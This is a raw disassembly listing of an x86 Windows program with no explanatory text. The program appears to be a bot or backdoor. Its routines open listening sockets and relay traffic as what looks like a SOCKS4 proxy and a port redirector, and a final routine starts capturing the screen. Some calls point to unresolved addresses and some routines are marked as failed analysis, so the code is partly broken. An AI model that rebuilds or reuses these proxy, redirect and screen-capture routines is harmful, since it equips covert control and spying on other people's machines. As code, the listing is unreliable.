		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_43ADD8
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_436F18[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_407252
		push	8
		call	sub_416FA4
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_407A4D
		mov	esi, offset dword_438F18
		push	esi
		nop
		call	near ptr 26F0000h
		push	80000400h
		push	esi
		call	near ptr 26E1AB6h
		nop
		test	eax, eax
		jnz	short loc_407A4D
		lea	eax, [ebp+var_1CC]
		push	offset unk_42B4F0
		push	eax
		call	sub_4172B0
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_407A37
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40D679
		add	esp, 14h


loc_407A37:				; CODE XREF: sub_40797F+99j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40BF6D
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_407A4D:				; CODE XREF: sub_40797F+63j
					; sub_40797F+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, dword_424064
		mov	edi, ebx
		mov	dword_436F1C[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_407B1A


loc_407A6B:				; CODE XREF: sub_40797F+195j
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_42B4A8
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	8
		push	eax
		call	sub_416D5C
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_4407F4[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_407767
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0AE7h
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_407AE5


loc_407ADA:				; CODE XREF: sub_40797F+164j
		cmp	[ebp+var_4], ebx
		jnz	short loc_407B0C
		push	1Eh
		call	esi
		jmp	short loc_407ADA
; ---------------------------------------------------------------------------


loc_407AE5:				; CODE XREF: sub_40797F+159j
		nop
		call	near ptr 267036Ah
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_42B45C
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40BF6D
		add	esp, 10h


loc_407B0C:				; CODE XREF: sub_40797F+15Ej
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_407A6B


loc_407B1A:				; CODE XREF: sub_40797F+E6j
		cmp	[ebp+var_30], ebx
		jz	loc_407BC4
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi


loc_407B2F:				; CODE XREF: sub_40797F+250j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_436F18[eax*8]
		push	eax
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_42B408
		push	eax
		call	sub_4172B0
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_407B7D
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40D679
		add	esp, 14h


loc_407B7D:				; CODE XREF: sub_40797F+1DFj
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40BF6D
		mov	eax, [ebp+var_2C]
		mov	[esp+1DCh+var_1DC], 0BB8h
		mov	dword_436F1C[eax*8], ebx
		call	esi
		push	8
		call	sub_416FA4
		cmp	eax, 1
		pop	ecx
		jnz	short loc_407BB4
		push	offset dword_438F18
		nop
		call	near ptr 26F0000h


loc_407BB4:				; CODE XREF: sub_40797F+228j
		push	[ebp+var_2C]
		call	sub_417078
		pop	ecx
		push	ebx
		call	near ptr 26102D5h
		nop


loc_407BC4:				; CODE XREF: sub_40797F+19Ej
					; sub_40797F+25Dj
		mov	eax, [ebp+var_2C]
		cmp	dword_436F1C[eax*8], 1
		jnz	loc_407B2F
		push	7D0h
		call	esi
		jmp	short loc_407BC4
sub_40797F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407BDE	proc near		; DATA XREF: sub_40EE72+36DDo

var_34C		= byte ptr -34Ch
var_14C		= byte ptr -14Ch
var_148		= dword	ptr -148h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		push	10h
		mov	[eax+120h], edi
		pop	ebx
		lea	eax, [ebp+var_10]
		push	ebx
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_40]
		call	dword_43AD98
		push	6
		push	edi
		push	2
		mov	[ebp+var_E], ax
		mov	[ebp+var_C], esi
		mov	[ebp+arg_0], ebx
		call	dword_43AE18
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_407D42
		mov	eax, [ebp+var_3C]
		push	edi
		imul	eax, 234h
		push	401h
		push	esi
		push	ebx
		mov	dword_4407FC[eax], ebx
		call	dword_43ACB4
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43ADC4
		test	eax, eax
		jnz	loc_407D42
		push	0Ah
		push	ebx
		call	dword_43ADC0
		test	eax, eax
		jnz	loc_407D42


loc_407C88:				; CODE XREF: sub_407BDE+BEj
					; sub_407BDE+13Fj
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	dword_43AE2C
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_407C88
		movzx	eax, [ebp+var_22]
		push	[ebp+var_3C]
		mov	[ebp+var_148], edi
		mov	[ebp+var_2C], esi
		push	eax
		push	[ebp+var_20]
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_34C]
		push	offset unk_42B584
		push	eax
		call	sub_4172B0
		push	edi
		lea	eax, [ebp+var_34C]
		push	10h
		push	eax
		call	sub_416D5C
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_4407F4[eax], ecx
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_14C]
		push	esi
		push	eax
		push	offset loc_407D66
		push	esi
		push	esi
		nop
		call	near ptr 26A0AE7h
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_440804[ecx], eax
		jz	short loc_407D2D


loc_407D1A:				; CODE XREF: sub_407BDE+14Dj
		cmp	[ebp+var_2C], esi
		jnz	loc_407C88
		push	32h
		call	near ptr 2620494h
		nop
		jmp	short loc_407D1A
; ---------------------------------------------------------------------------


loc_407D2D:				; CODE XREF: sub_407BDE+13Aj
		nop
		call	near ptr 267036Ah
		push	eax
		push	offset unk_42B538
		call	sub_40BFE1
		pop	ecx
		pop	ecx
		jmp	short loc_407D45
; ---------------------------------------------------------------------------


loc_407D42:				; CODE XREF: sub_407BDE+61j
					; sub_407BDE+93j ...
		mov	edi, [ebp+arg_0]


loc_407D45:				; CODE XREF: sub_407BDE+162j
		push	edi
		call	dword_43AE30
		push	ebx
		call	dword_43AE30
		push	[ebp+var_3C]
		call	sub_417078
		pop	ecx
		push	esi
		nop
		call	near ptr 26102D5h
		pop	edi
		pop	esi
		pop	ebx
sub_407BDE	endp ; sp-analysis failed



loc_407D66:				; DATA XREF: sub_407BDE+11Co
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_417B30
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_43AE18
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_407F1C
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_43AD98
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_43ADD8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_407DF6
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_43AE1C
		jmp	short loc_407E04
; ---------------------------------------------------------------------------


loc_407DF6:				; CODE XREF: ___:00407DE5j
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_43AD50


loc_407E04:				; CODE XREF: ___:00407DF4j
		cmp	eax, edi
		jz	loc_407F1C
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_43AD40
		cmp	eax, 0FFFFFFFFh
		jz	loc_407F1C
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_43AE24
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_42B62C
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp-344h]
		push	10h
		push	eax
		call	sub_416D5C
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_4407FC[ebx]
		mov	dword_4407F4[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_440800[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_407F4D
		push	edi
		push	edi
		nop
		call	near ptr 26A0AE7h
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_440804[ecx], eax
		jz	short loc_407F09


loc_407EB6:				; CODE XREF: ___:00407EC3j
		cmp	[ebp-20h], edi
		jnz	short loc_407EC5
		push	32h
		nop
		call	near ptr 2620494h
		jmp	short loc_407EB6
; ---------------------------------------------------------------------------


loc_407EC5:				; CODE XREF: ___:00407EB9j
		mov	ebx, 1000h


loc_407ECA:				; CODE XREF: ___:00407F05j
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_43ADB0
		cmp	eax, edi
		jle	short loc_407F1C
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407ECA
		jmp	short loc_407F1C
; ---------------------------------------------------------------------------


loc_407F09:				; CODE XREF: ___:00407EB4j
		call	near ptr 267036Ah
		nop
		push	eax
		push	offset unk_42B5DC
		call	sub_40BFE1
		pop	ecx
		pop	ecx


loc_407F1C:				; CODE XREF: ___:00407DAAj
					; ___:00407E06j ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_4407FC[eax]
		call	dword_43AE30
		push	dword ptr [ebp+8]
		call	dword_43AE30
		push	dword ptr [ebp-4]
		call	sub_417078
		pop	ecx
		push	edi
		call	near ptr 26102D5h
		nop
		pop	edi
		pop	esi
		pop	ebx


loc_407F4D:				; DATA XREF: ___:00407E96o
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_417B30
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_407F84:				; CODE XREF: ___:00407FC9j
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_440800[esi]
		call	dword_43ADB0
		test	eax, eax
		jle	short loc_407FCB
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_4407FC[esi]
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407F84


loc_407FCB:				; CODE XREF: ___:00407FAEj
		push	dword_440800[esi]
		call	dword_43AE30
		push	dword ptr [ebp-14h]
		call	sub_417078
		pop	ecx
		push	0
; ---------------------------------------------------------------------------
		dw 0EEE8h
; ---------------------------------------------------------------------------
		and	byte ptr [eax],	2
		nop
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407FEA	proc near		; DATA XREF: sub_40EE72+5E51o

var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_4D0		= byte ptr -4D0h
var_4CF		= byte ptr -4CFh
var_4CE		= word ptr -4CEh
var_4CC		= dword	ptr -4CCh
var_4C8		= byte ptr -4C8h
var_2D4		= byte ptr -2D4h
var_D4		= dword	ptr -0D4h
var_D0		= byte ptr -0D0h
var_C8		= byte ptr -0C8h
var_44		= byte ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp+var_D4]
		push	2Ch
		mov	[ebp+var_4], ebx
		pop	ecx
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		mov	[eax+0A8h], edi
		push	ebx
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	word ptr [ebp+var_14], 2
		push	[ebp+var_40]
		call	dword_43AD98
		push	6
		push	edi
		push	2
		mov	word ptr [ebp+var_14+2], ax
		mov	[ebp+var_10], esi
		call	dword_43AE18
		mov	edi, eax
		mov	eax, [ebp+var_3C]
		imul	eax, 234h
		push	ebx
		mov	dword_4407FC[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	dword_43ADC4
		test	eax, eax
		jnz	loc_40818C
		push	0Ah
		push	edi
		call	dword_43ADC0
		test	eax, eax
		jnz	loc_40818C
		push	[ebp+var_40]
		push	[ebp+var_D4]
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_42B75C
		push	eax
		call	sub_4172B0
		add	esp, 10h
		cmp	[ebp+var_30], esi
		jnz	short loc_4080C5
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_40D679
		add	esp, 14h


loc_4080C5:				; CODE XREF: sub_407FEA+B9j
					; sub_407FEA+172j ...
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_43AE2C
		push	[ebp+var_3C]
		mov	ebx, eax
		movzx	eax, [ebp+var_22]
		push	eax
		mov	[ebp+var_28], esi
		push	[ebp+var_20]
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_42B708
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2D4]
		push	11h
		push	eax
		call	sub_416D5C
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_4407F4[eax], ecx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_D4]
		push	esi
		push	eax
		push	offset loc_4081EF
		push	esi
		push	esi
		call	near ptr 26A0AE7h
		nop
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_440804[ecx], eax
		jz	short loc_40816C


loc_408159:				; CODE XREF: sub_407FEA+180j
		cmp	[ebp+var_28], esi
		jnz	loc_4080C5
		push	5
		nop
		call	near ptr 2620494h
		jmp	short loc_408159
; ---------------------------------------------------------------------------


loc_40816C:				; CODE XREF: sub_407FEA+16Dj
		nop
		call	near ptr 267036Ah
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_42B6C0
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	loc_4080C5
; ---------------------------------------------------------------------------


loc_40818C:				; CODE XREF: sub_407FEA+7Bj
					; sub_407FEA+8Cj
		push	edi
		call	dword_43AE30
		push	[ebp+var_40]
		lea	eax, [ebp+var_2D4]
		push	offset unk_42B680
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4081CF
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_40D679
		add	esp, 14h


loc_4081CF:				; CODE XREF: sub_407FEA+1C3j
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_3C]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26102D5h
		pop	edi
		pop	esi
		pop	ebx


loc_4081EF:				; DATA XREF: sub_407FEA+14Fo
		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		mov	esi, [ebp+var_2C]
		push	1
		mov	[ebp+arg_0], esi
		imul	esi, 234h
		pop	edi
		lea	esi, dword_4407FC[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	[ebp+var_8], 5
		mov	[ebp+var_5D0], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_5D4]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_5D4], edi
		call	dword_43AD80
		test	eax, eax
		jnz	short loc_408270
		push	dword ptr [esi]
		call	dword_43AE30
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 26102D5h


loc_408270:				; CODE XREF: sub_407FEA+26Cj
		push	ebx
		lea	eax, [ebp+var_4D0]
		push	408h
		push	eax
		push	dword ptr [esi]
		call	dword_43ADB0
		test	eax, eax
		jg	short loc_4082A1
		push	dword ptr [esi]
		call	dword_43AE30
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		call	near ptr 26102D5h
		nop


loc_4082A1:				; CODE XREF: sub_407FEA+29Dj
		cmp	[ebp+var_4D0], 4
		jnz	loc_40849B
		cmp	[ebp+var_4CF], 1
		jnz	loc_40849B
		cmp	[ebp+var_44], bl
		jz	short loc_408337
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408337
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	offset unk_42B830
		call	sub_40BFE1
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Dh
		call	sub_417330
		add	esp, 18h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43ADE8
		push	dword ptr [esi]
		call	dword_43AE30
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 26102D5h


loc_408337:				; CODE XREF: sub_407FEA+2D4j
					; sub_407FEA+2EAj
		push	10h
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		call	sub_417330
		mov	ax, [ebp+var_4CE]
		add	esp, 0Ch
		mov	[ebp+var_16], ax
		mov	eax, [ebp+var_4CC]
		push	6
		push	edi
		push	2
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], eax
		call	dword_43AE18
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_4083CF
		call	dword_43AD2C
		push	eax
		push	offset unk_42B7E4
		call	sub_40BFE1
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_417330
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43ADE8
		push	dword ptr [esi]
		call	dword_43AE30
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 26102D5h


loc_4083CF:				; CODE XREF: sub_407FEA+386j
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	edi
		call	dword_43AD40
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40843E
		call	dword_43AD2C
		push	eax
		push	offset unk_42B794
		call	sub_40BFE1
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_417330
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43ADE8
		push	dword ptr [esi]
		call	dword_43AE30
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 26102D5h


loc_40843E:				; CODE XREF: sub_407FEA+3F5j
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Ah
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43ADE8
		push	dword ptr [esi]
		push	edi
		call	sub_4084B3
		pop	ecx
		pop	ecx
		push	edi
		call	dword_43AE30
		push	dword ptr [esi]
		call	dword_43AE30
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		call	near ptr 26102D5h
		nop


loc_40849B:				; CODE XREF: sub_407FEA+2BEj
					; sub_407FEA+2CBj
		push	dword ptr [esi]
		call	dword_43AE30
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 26102D5h
sub_407FEA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4084B3	proc near		; CODE XREF: sub_407FEA+48Bp

var_504		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4084C9:				; CODE XREF: sub_4084B3+C5j
					; sub_4084B3+F5j
		mov	[ebp+var_100], ebx
		mov	[ebp+var_104], 1
		xor	ecx, ecx
		lea	eax, [ebp+var_100]


loc_4084E1:				; CODE XREF: sub_4084B3+3Cj
		mov	edx, [ebp+arg_0]
		cmp	[eax], edx
		jz	short loc_4084F1
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4084E1


loc_4084F1:				; CODE XREF: sub_4084B3+33j
		cmp	ecx, 1
		jnz	short loc_408506
		mov	[ebp+var_FC], edx
		mov	[ebp+var_104], 2


loc_408506:				; CODE XREF: sub_4084B3+41j
		push	esi
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_43AD80
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_43AC90
		test	eax, eax
		jz	short loc_408566
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	ebx
		call	dword_43ADB0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085AE
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085AE


loc_408566:				; CODE XREF: sub_4084B3+85j
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	dword_43AC90
		test	eax, eax
		jz	loc_4084C9
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADB0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085AE
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	ebx
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4084C9


loc_4085AE:				; CODE XREF: sub_4084B3+9Aj
					; sub_4084B3+B1j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4084B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4085B3	proc near		; CODE XREF: sub_40EE72+45AFp

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_43AD84
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_4087E7
		push	8
		push	edi
		call	dword_43ADA0
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_43ADA0
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_43ADA0
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_408615
		push	18h
		push	edi
		call	dword_43ADA0
		mov	ebx, 100h
		jmp	short loc_408617
; ---------------------------------------------------------------------------


loc_408615:				; CODE XREF: sub_4085B3+50j
		xor	ebx, ebx


loc_408617:				; CODE XREF: sub_4085B3+60j
		push	edi
		call	dword_43ADE4
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_4087CC
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
